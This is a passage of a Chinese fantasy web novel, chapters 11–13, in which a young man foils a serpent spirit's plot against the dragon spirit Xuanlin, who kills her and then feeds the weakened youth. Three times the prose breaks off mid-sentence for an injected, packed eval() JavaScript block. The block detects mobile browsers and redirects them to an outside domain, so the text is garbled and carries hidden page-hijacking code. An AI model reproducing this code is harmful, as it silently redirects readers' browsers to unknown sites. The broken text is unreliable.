李青辞一口气吃了两个大包子,又吃了俩蛋,外加一大碗小米南瓜粥,他感觉自己快撑死了。 缓了口气,他扶着桌子慢慢站起来,从水盆里拿了两颗蛋:“静婉,我走了。” 陈静婉叫住他:“等会儿,剩下的蛋也拿走。” 李青辞摇了摇头:“不要,真吃不下了。” “行吧。”陈静婉摆了摆手。 李青辞慢吞吞地朝山脚走去,走到一半时,路中间躺着一个十五六岁的姑娘,哀声喊他:“小郎君,你过来扶我一下,我摔倒了起不来。” 李青辞循声走过去,视线落在姑娘脸上几瞬,随即他摇头道:“我扶不动你。” 丹螭闻言,脸色一黑。 凡人就是废物!她都化成小姑娘了还扶不动她! 她咳了咳,放柔嗓音,乞求道:“我很轻的,你搭把手就行。” 这小子身上玄鳞的气味越来越重,肯定跟玄鳞关系不错。 李青辞再次拒绝:“不好意思,我真扶不动你,你找别人吧,我还有事要做。” 丹螭气得咬牙切齿,她指着李青辞厉声道:“你扶不扶!让你帮个忙你推三阻四,长得人模狗样,结果一点善心都没有!” 李青辞叹了口气,知道自己躲不过了,便开口直言:“你到底要做什么?我只是一个凡人,你一个妖都做不到的事情,我更是无能为力。” 丹螭闻言一惊,急忙去看自己的腿。 是人腿,不是尾巴。 这小子怎么看出来的! 她慌乱问道:“你怎么知道我是妖?” “你长得太好看了。”李青辞指了指她的脸,“和我以前见过的妖一样好看。” 丹螭下意识去摸自己的脸,要不是这小子一脸正经,她都以为这小子在调戏自己。 “你见过很多妖?”丹螭盯着他问。 李青辞摇头:“我只见过一个,那是个很漂亮的公孔雀。” 眼前这个妖、孔雀还有玄鳞,虽然他们三个长得完全不同,但都有一种异于凡人的美。 他第一次见到玄鳞,就觉得玄鳞不是人。 丹螭闻言冷嗤一声,果然,凡人就是阴险狡诈,这小子身上玄鳞的气味这么重,竟然还敢撒谎说不认识。 猛一甩袖,丹螭不装了。 她迅速起身,逼近李青辞,威胁道:“臭小子,我劝你识时务,乖乖听我的话,不然我一口吞了你,连渣都不剩。” 李青辞抿了抿嘴,说实话,他现在应该畏惧、惊慌失措,但是他真的很无语,这些妖在威胁人的时候,就不能好好想一想措辞吗。 要是这个妖真能随意杀了他,也不会费力躺在地上骗他了。 “好。”李青辞点头,“你说吧,我肯定乖乖听你的话。” “算你识相!”丹螭冷哼一声,将一个朱红果子递给他,“你让玄鳞吃下这个。” 李青辞道:“我不认识——” “闭嘴!你想好再说!”丹螭五指猛地一攥,一把掐住他的脖子,语气阴寒,“你要是敢说自己不认识玄鳞,我现在就打断你一条腿!” 11. 第 11 章 脖颈被人扼住,李青辞脸色涨得通红,他艰难道:“……我…我真的…不认识玄鳞……” 丹螭怀疑一瞬,随即笃定道:“不可能!你身上有玄鳞的气味。” “……咳…咳咳……”李青辞拍她的手,无声张着嘴。 丹螭嫌恶地瞪他,稍稍松开手。 呼吸终于顺畅,李青辞换了口气,解释道:“我最近天天待在山上,或许是无意中沾上的。” “放屁!”丹螭冷笑道,“这么重的气味,不可能是随便沾上的。” 李青辞见她怎么都不相信,只好松口道:“你说的玄鳞,是一个穿黑衣服、个子很高的年轻男人吗?” “对,就是他!”丹螭眼神热枕起来,“你让他把果子吃下,事成之后,我会给你很多金子。” “真的吗?”李青辞惊讶道,满眼喜悦,“到底有多少金子?” 丹螭眼底满是嫌弃,凡人就是贪财! 她不耐烦道:“很多,扔下来能砸死你!” “那真的好多啊……”李青辞叹了口气,遗憾道,“可是,你应该比我了解玄鳞,我认识他满打满算刚过两个月,期间只见过几面,也没怎么说过话,你觉得玄鳞会吃一个陌生凡人给的东西吗?” “至于我身上的气味,应该是我天天泡玄鳞洗澡水的缘故,其实我跟玄鳞并不熟悉。” 丹螭闻言一顿,这小子说的确实也有几分道理,她都认识玄鳞几百年了,至今也没能近过身。 要不是她急于化龙,修炼时出了岔子,她才不找玄鳞呢! “烦死了!”丹螭撤下手,把一朵花苞递给他,“那你把这个扔进玄鳞泡水的池子里。” “好,我试试。”李青辞接过来。 “不是试试,是必须做到!”丹螭高声怒吼,她今天跟这小子折腾一遭,又平添几分因果。 说完,她掏出一粒丹药塞进李青辞嘴里,逼其吞下:“这里头掺了我的血,你要是做不到,我就让你穿肠烂肚、痛苦而死!” “好好。”李青辞急忙点头,“我知道了,我现在就去找玄鳞。” “别想耍花招,你做没做成,我一清二楚,若太阳走到正南你还没做成,那你就等死吧!”丹螭狠狠推了他一把,厉声道,“滚!” “好好,我知道了。”李青辞踉跄几下,站稳后,他叹了口气,“别推了,我就这滚。” 李青辞摸了摸脖子,忍下不适,拿着花苞朝水潭走去。 丹螭缀在他身后,快到山脚时,她屏气敛息,等着这小子事成。 进了山,李青辞放慢步调,不紧不慢走着,他一边走一边揉自己的脖子,感觉喉咙好像肿了。 等临近水潭时,他站住脚,没有靠近水潭,高声喊道:“玄鳞!你出来!” 话音刚落,玄鳞不耐烦的声音传来:“又瞎叫唤什么!” 紧接着,玄鳞又问:“今天为什么来这么晚?” 一错眼的功夫,李青辞就见玄鳞站在水潭边,正朝他走过来。 “你别过来!”李青辞立刻大喊,快速摆手制止他,“有一个女妖给了我这个花,让我扔在你泡水的水潭里。” 玄鳞闻言脚步一顿,随即眉心紧紧蹙起,他望向李青辞手中高举的花苞,抬脚朝他走过去。 李青辞见状急了,大声提醒:“你别过来!这个东西会害你的!” “行了,别嚎了,叫得人耳朵疼。”玄鳞三两步来到他身边。 李青辞看他这闲庭信步、十分自信的模样,也定下了心神,玄鳞肯定有办法解决的。 玄鳞捻了捻手指,一股法力落在那朵花上面,等他查清花苞里藏着什么猫腻时,忍不住直犯恶心。 “脏死了!”玄鳞猛一挥手,那朵花直接从李青辞手上飞出,在空中化为齑粉,被风吹远。 “不脏啊。”李青辞放下手,不解道,“这朵花挺干净的,很漂亮的花,还很香。” 懵懂、稚嫩的脸上写满好奇,玄鳞瞥他一眼,闭上嘴没回应。 那朵花苞里有那个母长虫的体、液。 视线一转,玄鳞眼神顿住,他走上前,俯身盯着李青辞青紫的脖子,脸色阴沉道:“那个脏东西给你掐的?” 李青辞闻言一顿,反应过来点了点头:“是那个女妖。” 玄鳞忍下暴躁和怒火,抬手一挥,李青辞顿时双脚离地,朝着水潭飞去。 噗通一声! 李青辞落进了水潭里。 玄鳞操控着水流,将他来来回回洗了很多遍,直到他打了个喷嚏,玄鳞才停手,把人提上来,扔到太阳下坐着。 李青辞抹了把脸上的水,又往身上摸了摸,空无一物,不由得郁闷:“玄鳞,你干嘛呀?” “脏,给你洗洗。”玄鳞又将水潭里的水全部引出去,换成新的。 那花苞是诱导他发、情的,不知道对人有没有作用。 他往李青辞身上扔了个小法术,顷刻间,李青辞身上的衣服不再滴水,变得十分干燥。 “可是……”李青辞垂着头,语气低落,“我兜里的两个蛋都掉出去了。” 玄鳞闻言,感觉匪夷所思,都什么时候了,还有心思操心蛋! 他蹲下来,看着李青辞问:“身上有没有哪里不对劲?” “没有不对劲儿。”李青辞摇头,顿了顿,又接着说,“不过,那个女妖给我吃了一个东西,说里面有她的血,如果太阳走到正南时,我还没有把花苞扔进你泡澡的水里,她就让我穿肠烂肚、痛苦而死。” 玄鳞一听,怒火蹭蹭窜上来,指着他厉声训斥:“你不早说!一门心思就惦记你那个蛋!” 李青辞见男人真动了火气,抿了抿嘴,没敢吭声。 玄鳞揪着他的领子,一把将人薅过来,右手紧贴在他腹部,缓缓催动法术,一点点将那股气血完全绞杀。 然后从身上摸出一个东西塞进他嘴里:“咽下去!” 东西一进嘴,李青辞就直皱眉头,好难吃,他摇头推拒:“我不想吃,感觉有点恶心。” “恶心就对了。”玄鳞冷脸道,“咽!” 李青辞只好照做。 看着他把东西吃了,玄鳞起身,开口道:“去吐吧,在这等我,哪都别去。” “啊?”李青辞迷茫地抬起头,发现玄鳞已经消失了。 他眨了眨眼,没撑过五息,一股浓烈的恶心涌上来,压都压不住。 他捂着嘴,快速跑到一边哇哇大吐。 另一边。 玄鳞握着长鞭,满腔怒火地来到山下。 他扬手猛地一挥,让人胆寒的破空声撕碎空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514030|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的宁静,长鞭如一柄利剑朝下斩去。 丹螭见色不对,立刻化作原形逃跑。 是她低估了玄鳞的修为,三百年不见,没想到玄鳞现在变得这么强,已经隐隐有化龙的威势。 他大爷的,这次真的栽了! 玄鳞冷眼看着她逃,撤回手,然后反手又是一鞭。 急速射出的鞭梢,砸在长达数丈的螭龙身上,如同山岳倾轧,丹螭顿时哀嚎一声! 鞭梢卷起丹螭,玄鳞朝山里猛地一甩,丹螭重重砸在地上,痛苦地在地上翻滚,周围的花草树木全都被她碾成碎末。 丹螭赶紧开口求饶:“玄鳞,我错了!我不该招惹你,你饶了我吧!” 玄鳞一脸森寒:“谁给你的胆子,让你一而再再而三的挑衅我。” 是他太仁慈了。 上次,山上出现她的气味时,就应该直接杀了她。 李青辞身上突然出现的那股难闻味道,肯定也是她搞的鬼。 丹螭哀求道:“玄鳞,看在我们认识这么多年又是同宗的份上,你这次饶了我吧,我再也不敢了!” 玄鳞往她身上又抽了一鞭,这一下直接震碎了丹螭的脊骨。 “啊!啊……”丹螭痛苦地尖叫,大声哀求,“饶了我吧!我再也不敢了!” 玄鳞对她的求饶无动于衷,抬脚走上前了结她。 丹螭感受着越来越重的威压,不禁陷入绝望,既然求饶服软没用,那她也不必再装了。 丹螭立刻破口大骂:“玄鳞,你个黑漆漆的臭长虫!老娘哪儿配不上你!” “老娘也是修行了八百年的螭龙,跟我交.尾,那是抬举你,贱货!你给脸不要脸!” 明明跟她交.尾,她和玄鳞互相都有进益,可是她几次三番找玄鳞,玄鳞都油盐不进,次次伤她。 “要不是我修行出了岔子,老娘才不会找你!你算个什么东西!乌漆嘛黑的,又丑又硬!” 要不是看玄鳞元阳仍在,交.尾一次能够大补,她压根都不会正眼看玄鳞,这次是奔着他内丹去的,谁成想把自己赔进去了。 他大爷的,天命不眷顾她! 对于这些谩骂,玄鳞一句都懒得搭理,长鞭出手,化作利刃,正中丹螭心口。 丹螭发出濒死前的挣扎,她拖着断裂的下半身,自爆内丹,一头朝玄鳞撞过去。 “玄鳞,你不得好死!给老娘陪葬吧!” 玄鳞嗤之以鼻,语气轻蔑:“角都没有的东西,也配跟我相提并论。” 对于丹螭的垂死挣扎,玄鳞神色冷淡,眼神睥睨,是一个绝对强者的姿态。 他甚至都没有化为原形,右手微抬,攥手成拳,一拳轰在丹螭硕大的头颅上。 咔嚓——咔嚓—— 是头骨碎裂的声音。 玄鳞布下结界,强行压下丹螭内丹自爆的声势。 “砰!”的一声巨响,几乎是撼天动地。 结界内被砸出一个巨大的深坑。 玄鳞挥了挥手,磅礴的水流哗啦啦落进深坑,不消片刻,此地痕迹被尽数抹去,就好像这里原本就是一个深塘。 一切尘埃落定,玄鳞掸了掸袖子,转身离去。 等他来到水潭边,就见那小崽子奄奄一息、半死不活的依靠在一块石头上。 12. 第 12 章 玄鳞见状纳罕,不应该啊,按理说小东西体内体外都没有没脏东西了。 他走上前,俯身道:“你还有哪不对劲?” 李青辞无声哼了一腔,缓缓掀开眼皮,朝他慢慢翻了个白眼。 他真是被玄鳞害惨了! 玄鳞蹲下来,在他脑门弹了一下:“死鱼才会翻白眼。” 李青辞没力气回嘴了,他现在好虚,真的特别虚! 进气少,出气多,嗓子还火辣辣的疼。 玄鳞见他嘴唇不停地努动,但又没听见声音,便凑近询问:“你在说什么?” 李青辞用尽全力,气若游丝地回答:“……饿,我饿。” “啧!”玄鳞在身上摸了一圈,什么都没摸到。 要是等他找到吃的再回来,只怕小崽子已经一命呜呼了,不禁头疼,命令道,“闭眼,张嘴。” 李青辞闻言眼睛都瞪大了,他惊恐地看着玄鳞,缓慢地摇晃脑袋,用一切行动示意玄鳞,他拒绝! “……我…我…不吃!”李青辞语气虚弱,但态度很坚定。 玄鳞没跟他废话,直接上手捂住他的眼睛,另一只手掐住他的下颌,迫使他张嘴,从指尖逼出半滴精血喂进他嘴里。 “……呜呜。”李青辞费力地抬起手,正想去推他,忽觉一股暖流涌进腹中,紧接着快速流经四肢百骸,身体顿时一轻,浑身充满了力气。 李青辞一下子跳起来,由于太突然,玄鳞没有防备,差点被他撞到下巴。 “哇!”李青辞挥舞着手臂走来走去,他感觉自己从来没有这么精力充沛过。 玄鳞见状,嫌弃地皱眉:“你又抽什么疯?” “没有抽疯,我感觉自己现在特别舒适!”李青辞神采奕奕,非常亢奋。 玄鳞往后仰倒在石头上,单臂枕在脑后,朝他招手:“别走了,过来。” “好。”李青辞立刻走到他身边蹲下,仰头望着他,眼睛亮晶晶的。 玄鳞瞧他脖子,淤青已经褪去大半,随即视线落在他眼睛上,哼笑道:“你小子还算聪明,知道先找我坦白,不过,你就不怕那脏东西弄死你?” 李青辞听完笑了笑,坦诚道:“有一点怕。” 他清楚的知道,他和玄鳞站在一边不一定会活,但和那女妖串通一气,他一定会死。 那女妖只能通过威胁他,侧面攻击玄鳞,说明女妖根本不是玄鳞的对手,否则她不用做这么多事,直接冲上山把玄鳞降服就好。 如果他真按女妖的话去做,把花苞丢进水潭里,等玄鳞发现后,一定会弄死他。 玄鳞嗯了一声:“以后不用怕了。” “你已经把她赶跑了?”李青辞眼睛一亮,玄鳞这么快就赢了。 玄鳞语气随意,轻描淡写道:“杀了。” 永绝后患。 李青辞闻言,眼皮耷拉下来,心里不禁担忧,愁苦道:“那,你杀她犯法吗?你会被抓去坐牢吗?” 玄鳞听完愣住了,心里升起一股荒谬,匪夷所思地盯着他:“你那脑袋里整天在想什么!” 李青辞摸了摸自己的脑袋:“我们人是这样的,杀人犯法,要坐牢或者问斩。” “那是你们人,我们没有这些乱七八糟的东西。”玄鳞伸手拍了一下他的后脑勺。 他们妖,强者为尊,实力不行,被弄死也无话可说。 李青辞惊讶道:“那你们这样,岂不是看谁不顺眼就可以把谁弄死?” 玄鳞皱眉道:“哪能这么随意,无缘无故的,杀多了会背负孽障。” 孽障会阻碍修行,还会被贼老天记恨,说不定哪天就降下天雷,一个不慎就被劈死了。 “这样啊。”李青辞凑近他,低低问道,“那你杀得多吗?” “多!”玄鳞被他问不耐烦了,冷冷扫了他一眼,“像你这样的我杀过成百上千个,还想问什么!” 李青辞撇了撇嘴,没再吭声。 玄鳞斥道:“刚才那会儿饿得跟要死过去一样,现在话这么多!” 李青辞伸腿踢了他一脚,控诉道:“我饿成那样还不是都怪你,都怪你给我吃的那个东西,我早上吃的两个包子、两个蛋,还有一碗南瓜小米粥全都吐出来了。” 李青辞越说越难过,他好不容易能一次吃这么饱,还吃得这么好,结果都没了……没了! 玄鳞看着自己腿上的脏脚印,咬着牙,强忍着没发火。 李青辞摸着自己干瘪的肚子,可惜道:“那是静婉做的包子,里头放了豆子和肉沫,南瓜也特别甜。” 听见他那语气,玄鳞的火蹭一下压不住了。 俩破包子,一个烂南瓜就惦记成这样,命都快没了,还有心思操心那俩蛋! “李青辞!你能不能有点出息!” 他扯着李青辞的胳膊把人拽过来,结果李青辞没坐稳,一脑袋栽进他怀里。 李青辞双手挥舞,想维持身体平衡:“你干嘛呀?” 玄鳞把人摁住,正想张嘴教训他,突然觉得掌心有些硌手。 他垂下眼睛,视线落在李青辞拱起的腰背上,凸出的脊骨仿佛要撑破那块单薄的皮肉。 李青辞摸了摸撞疼的额头,感觉身上的禁锢松了,他按在玄鳞胸口,小声嘟囔:“玄鳞,你身上好硬啊。” 玄鳞没作声,他将李青辞上下扫视一遍。 见李青辞第一面,他就知道这小崽子瘦小。 不过,那种瘦小是用眼睛看出来的,感触并不深,可等把人抱在怀里、摸上手,才会真切觉得李青辞很瘦,瘦得硌手。 比刚破壳的蛇崽子还瘦弱。 “玄鳞,怎么了?”李青辞等了一会儿没见他开口,凑到他脸前问他。 玄鳞收回目光,视线又落在李青辞微微泛红的额头上。 小东西真脆弱。 就像他之前见过的嫩豆腐一样,经不起一点磕碰,稍微用点力就碎给你看。 “没什么。”玄鳞一根手指抵着眼前的脑袋,将人推远,“说话别凑我这么近,吐沫星子溅我脸上了。” “我没有。”李青辞挥开他的手,辩解道,“我刚刚说话很小声,都没怎么张嘴。” “行了,在这等我。”玄鳞把人拎到一边,起身离开了。 李青辞冲着他的背影喊道:“知道了,你快点回来!” 等玄鳞消失后,李青辞从地上站起来,他围着水潭一连快走了好几圈,脸不红、气不喘。 到最后,李青辞跑了起来。 视线一瞥,他看见不远处有块不大不小的石头,抬脚跑过去,弯下腰,双手抱住那块石头。 一,二,三…… 石头纹丝不动。 李青辞攒足了力气,用力一搬。 石头纹丝不动。 “……”李青辞收回手,叹了口气,“好吧。” 折腾了一会儿,李青辞眉眼露出疲态,他走到树荫下,把外衫盖在脸上,躺下补眠。 一刻钟、两刻钟…… 李青辞猛地从地上坐起来。 他现在好有精神啊! 不知过去多久,西方天际的阳光已经不再刺目耀眼,温度也慢慢降了下来。 李青辞看着地上掉落的枯黄树叶,心想,夏天快过去了。 “李青辞。”是玄鳞的声音。 李青辞听见男人喊他,一骨碌爬起来,朝他跑过去,“玄鳞,你回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514031|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来啦!” “嗯。”玄鳞手上拎着两只处理好的鹌鹑。 李青辞围着他问:“你手上拿的什么?好大的荷叶啊!” 嗅了嗅,又道:“玄鳞,你身上好甜啊!” “鹌鹑。”玄鳞受不了他的喋喋不休,打发他去做事,“去山坡里捡点枯树枝。” “好,我这就去。”李青辞来到不远处的林子里,认真寻找枯树枝。 这个时节,大多树木还是很茂盛,枯叶很多,但是大的枯树枝不多。 李青辞将捡到的小树枝抱在怀里,顺着山坡往下,四处张望搜寻。 视线一转,他看见一个很大的枯树枝,应该是很久前从高处断裂的,已经被完全风干了。 李青辞小跑过去,拽着枯树枝往上拖,不过枯树枝很重,他有点吃力。 正咬牙拖拽,李青辞突然发现自己双脚离地了,他在空中晃悠几下腿,扭过头道:“玄鳞,你干嘛?” 玄鳞啧了一声:“撒手,闭眼。” 李青辞虽然不解,但还是照做。 下一瞬,他突然闻见了一股甜滋滋的肉香味,特别好闻的味道。 “睁眼吧。” 玄鳞话音刚落,李青辞立刻睁开眼睛,就见水潭边的火堆上架着两串烤肉,红亮亮、油汪汪的。 李青辞控制不住地吞咽一下,嘴里沁出不少口水。 “伸手。”玄鳞道。 李青辞下意识照做,玄鳞给了他一把圆滚滚的东西,他定睛一看,惊喜道:“是鹌鹑蛋!” 玄鳞诧异:“这么惊讶做什么?” 李青辞笑了起来:“我只见过官服上绣的鹌鹑,听人说,鹌鹑蛋很好吃。” 语气透着一股向往。 玄鳞不禁嫌弃:“就这点出息,吃吧,已经煮熟了。” “好!”李青辞快速跑到瀑布边洗手,然后跑回来坐在玄鳞腿边,一口一个鹌鹑蛋。 “玄鳞,这个比鸡蛋好吃,不噎人。”李青辞一边吃,一边往火堆上瞟,嘴里控制不住地流口水。 “嗯。”玄鳞应了一声,将一个烤好的鹌鹑拿下来,用荷叶裹好震成小块,递给李青辞,“吃。” “好!”李青辞很开心,笑得眼睛弯弯,他捻起一块,用力吹了吹,立刻放进嘴里,含糊道,“……哇,好吃!” “竟然是甜甜的,玄鳞,你怎么做到的?” 玄鳞道:“抹了蜂蜜。” 李青辞凑近问他:“蜂蜜真好吃,它长什么样子?” 玄鳞看着凑过来的人,皱了皱眉:“把嘴擦擦,都是油。” 说完扔给他一个东西。 李青辞舔了舔嘴唇:“我正在吃饭,等吃完再擦。” 他捡起地上的东西,拆开裹在外面的荷叶,露出里面黄澄澄的蜂蜜,他凑过去添了一口。 “哇!好甜啊!还有股花香味!” 李青辞忍不住又舔了一口,嘴巴上糊得亮晶晶、油滋滋。 玄鳞见状,眉头紧皱,实在看不过眼,他将头转到一边,眼不见为净。 刚转过头没多久,李青辞又凑了过来,手里举着一条鹌鹑腿,朝他笑着:“这个腿很好吃,我吃过一个了,这个给你。” “我不吃,拿走。”玄鳞拒绝。 李青辞哦了一声,问道:“那你平时吃什么?” 他没见过玄鳞吃东西。 玄鳞瞥他一眼:“吃人,尤其是话多的人。” 李青辞抿了抿嘴,不高兴地挪到一边:“玄鳞,你又开始讨厌了。” 玄鳞冷哼一声,将第二只鹌鹑扔给他。 李青辞立刻喜笑颜开:“玄鳞,你真好!” “……” 13. 第 13 章 两只鹌鹑下肚,李青辞摸了摸圆滚滚的肚子,感觉撑得不行,他往后一倒,躺在玄鳞身边。 遥远的天边只剩一线余晖,从高处吹下来的风,清清凉凉,身前橙红的火苗随风摇曳、晃动,烧红的木头时不时发出哔啵声,呼吸间还有股蜜甜香味。 李青辞徐徐吐出一口气,感受着脸上映照的暖意,舒服地眯起眼睛。 突然,他脑袋被推了一下。 “起来,送你回家。”玄鳞起身,朝他招手。 “好……”李青辞懒懒地爬起来,跟玄鳞打商量,“你用鞭子缠住我的时候,能不能勒松一点,我吃太饱了。” 玄鳞垂眼瞥他:“真麻烦。” 俯身将人抱起,朝山下遁去。 李青辞“啊”了一声,紧闭着双眼,双手紧紧攥着玄鳞的衣服,等再睁开眼的时候,他才发现自己坐在玄鳞臂弯。 他低头朝下看了一眼,喃喃道:“我现在好高啊……” 话音刚落,他的身高急剧缩小,一眨眼的功夫,他就只到玄鳞胸口了。 “回去吧。”玄鳞在他后肩推了一下。 等他回过头,玄鳞已经消失不见了。 看着不远处的家门口,他慢吞吞地走进去。 夜里,起风了。 李青辞被冻醒了,他拢着身上单薄的衣衫,摸索着下床,点亮油灯后,他走到衣柜前,抱出一床薄被。 第二天清早。 李青辞困乏地眯了眯眼,往被子下缩,没一会儿又沉沉睡去。 直到晌午,秦翠英过来问他,要不要在家吃午饭。 李青辞困得不行,开口说不吃了。 这一觉睡得昏昏沉沉,直到太阳偏西,李青辞才揉着眼睛坐起来。 明明睡了这么久,他觉得还不如平时有精神,而且头有点晕。 晃了晃脑袋,他下床洗了把脸,摸着干瘪的肚子朝厨房走去。 秦翠英正坐在门口择野菜。 李青辞问她:“还有东西吃吗?” 秦翠英闻言,放下菜,说道:“中午剩了小半碗豆饭,我去给你热热。” “不用热了。”李青辞摇头,他饿得不行了,“凉的就行。” “好,我去给你端来。”秦翠英将碗递给他。 豆饭不多,等李青辞端着碗回到自己院子,饭已经吃了一半。 有颗豆子没煮透,李青辞咯到牙了,他用力嚼碎,然后咽下去。 吃完饭,又喝了两杯凉水,李青辞感觉没那么饿了。 他来到院中,给小树苗浇浇水,然后抱着剩下的蛋,朝门外走去。 刚走到陈家村的村头,就看见了从另一边走过来的韩水谚。 “青辞,你也去找婉婉啊。”韩水谚冲他招手。 李青辞点头,把衣衫打开,示意他看。 “还有这么多呢!”韩水谚惊叹道,“弄得我都想去捡了。” 李青辞笑了笑:“那你等会拿走一些,我自己吃不完。” “行,回去让我娘腌了。”韩水谚记得,之前他给李青辞一颗咸鸭蛋,李青辞吃完眼睛都亮了,直说好吃。 他从李青辞手里接过包袱,问道:我爹让我明天去城里买肉再打点酒,你去不去,我捎你。” 李青辞闻言,算了算时间,书肆应该进新书了,他点了点头:“好,我也去。” “行。” 俩人边说边走,没一会儿就走到了陈静婉家门口。 这时,陈静婉正在院子里扫地,见他俩杵在门口,诧异道:“怎么不进来?” 李青辞扫了一眼被韩水谚拽住的手臂,没作声。 韩水谚往里张望一眼,小声道:“陈叔在家吗?” 语气有些紧张。 陈静婉瞥他:“不在。” 韩水谚如释重负地吐出一口气,不在就好,自从他向婉婉提亲,陈叔对他就没有以前和善了。 李青辞听完,也悄悄松了口气。 其实,他来找静婉的次数并不多,尤其是过了十二岁,不过,每次他来,陈叔陈婶对他都很亲切,可是他总觉得别扭,不太习惯跟长辈相处。 韩水谚拽着他进去,把包袱递给陈静婉:“家里有葱吗,炒俩蛋吃吧。” “行,等着。”陈静婉挽了挽袖子,接过东西走进厨房。 韩水谚自觉走到灶台前坐下,准备等会生火。 李青辞左右看了看,将靠近墙边的桌子拉出来。 “你们俩来得正好,我这锅馒头刚出。”陈静婉一口气炒了十颗蛋,放了整整一勺猪油。 喧软的馒头和喷香的炒蛋端上桌,李青辞就没再开过口,一直闷头吃饭。 陈静婉和韩水谚小声说话,商量明天进城的时间。 时间缓缓流淌。 等李青辞再抬头的时候,他已经撑得连口水都喝不下了。 韩水谚本来想留下多跟陈静婉说会儿话,但是见天色不早,说不定陈叔突然就回来了。 他先去把盘子洗了,然后扯着李青辞的手臂站起来,另一只手拎着剩下的蛋,开口跟陈静婉辞别:“婉婉,我们先走了,明早我在村头等你。” “好。”陈静婉嘱咐了一句,“你俩明早多穿件衣服,天凉了。” 俩人齐齐点头。 跟韩水谚分别后,李青辞独自朝家里走去。 在桌前看了没有一刻钟书,他困得眼皮子直打架,简单洗漱后,他躺上床睡了。 第二天到了约定的时间,李青辞勉强从床上起来。 等坐上骡车,他又睡了过去。 陈静婉以为他昨晚没睡好,见他这么困,也没叫他。 骡车一路向前,韩水谚赶车的技术很好,颠得不怎么厉害,李青辞睡得很踏实。 “青辞,醒醒,到城门口了。”陈静婉轻声喊他。 “……哦,好。”李青辞揉着眼睛坐起来。 三人在城门口分离,李青辞朝着书肆去。 “张掌柜,进新书了吗?”李青辞站在柜台前问。 张掌柜闻声抬头,笑道:“是青辞啊,你来早了,我昨个得了信,这批书要六天后才到。” 李青辞失落道:“好,那我到时候再来。” 他把上次借的两本书还上,然后出门等着。 由于韩水谚还要回家干活,他们没在城里逗留,一人吃了俩烧饼,就往家里赶。 回去的时候,李青辞又睡了一路。 临到分别时,陈静婉担忧道:“青辞,你今儿怎么了,这么能睡?别不是病了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514032|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李青辞闻言,摸了摸自己的额头,摇头道:“没事,可能前些日子睡少了。” 陈静婉盯着他瞧了瞧,面色还算可以,不像是病样,于是放下心来:“行,你回去吧。” “好。”李青辞跟他们辞别。 等回到家,李青辞坐在椅子上硬撑了一会儿,最后实在没撑住,他躺上床又睡了。 一觉睡到第二天晌午。 李青辞觉得那股困意消减不少,他在家里吃完午饭,顶着大太阳往山里去。 等走到山脚,李青辞坐下歇息,大口喘着气,他感觉好累!腿脚好酸! 过了好大会儿,他才进山。 一路上歇了四次,才终于走到水潭边,这时辰,他往日都该下山了。 往石头上一躺,李青辞有气无力地喊:“玄鳞……” 听见声音的玄鳞,终于发现那股不对劲在哪了,原来是耳边少了这小子的絮叨,最近他过得很是清静。 “玄鳞……”李青辞又喊了一句。 没等他喊第三句,就看见了站在他身前的男人。 玄鳞见他那样,不禁皱眉道:“怎么了,又一副半死不活的样儿。” 李青辞喘了口气,轻声道:“不知道,感觉好累。” 玄鳞蹲下,问他:“怎么这会来,之前去哪了?” 李青辞道:“昨天去了趟城里,然后剩下的时间都在家里睡觉。” 眨了眨眼,李青辞感觉自己又困了,他怒了努嘴,气虚道:“玄鳞,我最近总想睡觉。” 玄鳞凑到他脸前,伸手在他脖子上搭了一下,不由得啧了一声。 虚不受补。 这小子连他半滴精血都受不住。 他收回手,开口道:“再睡几天就好了。” “好,知…知道……”话没说话,李青辞就睡了过去。 不知过去多久。 李青辞被一股浓浓的香味唤醒,他睁开眼,发现天色已经很昏暗了,显得不远前的那片火堆异常明亮。 他站起来,小跑过去,紧挨着玄鳞坐下。 “玄鳞,这又是什么?好香啊!”李青辞吸了吸鼻子。 玄鳞将东西翻了个面:“不知道,反正是带翅膀的。” “哦,知道了。” 玄鳞低头看了一眼自己被压着的衣摆,皱眉道:“挪开点,别凑我这么近。” 李青辞拢了拢衣襟,闷闷道:“我有点冷,觉得你身边暖和一些。” 玄鳞闻言冷嗤一声,他是水蛟,能暖和就邪门了。 抽出自己的衣摆,玄鳞没再搭理。 李青辞觉得屁股倏的一凉,他摸了摸底下冰凉的石头,改为蹲着。 等了没一会儿,玄鳞把烤好的肉递给他。 这次的东西比较大,李青辞吃了好久,最后都凉了还剩下一小半,他望向一边的玄鳞,开口道:“你先给我放着,我明早过来吃。” 玄鳞瞥他一眼,答应了:“嗯。” 李青辞吃完,跑到水边洗手,刚转身就听见玄鳞叫他。 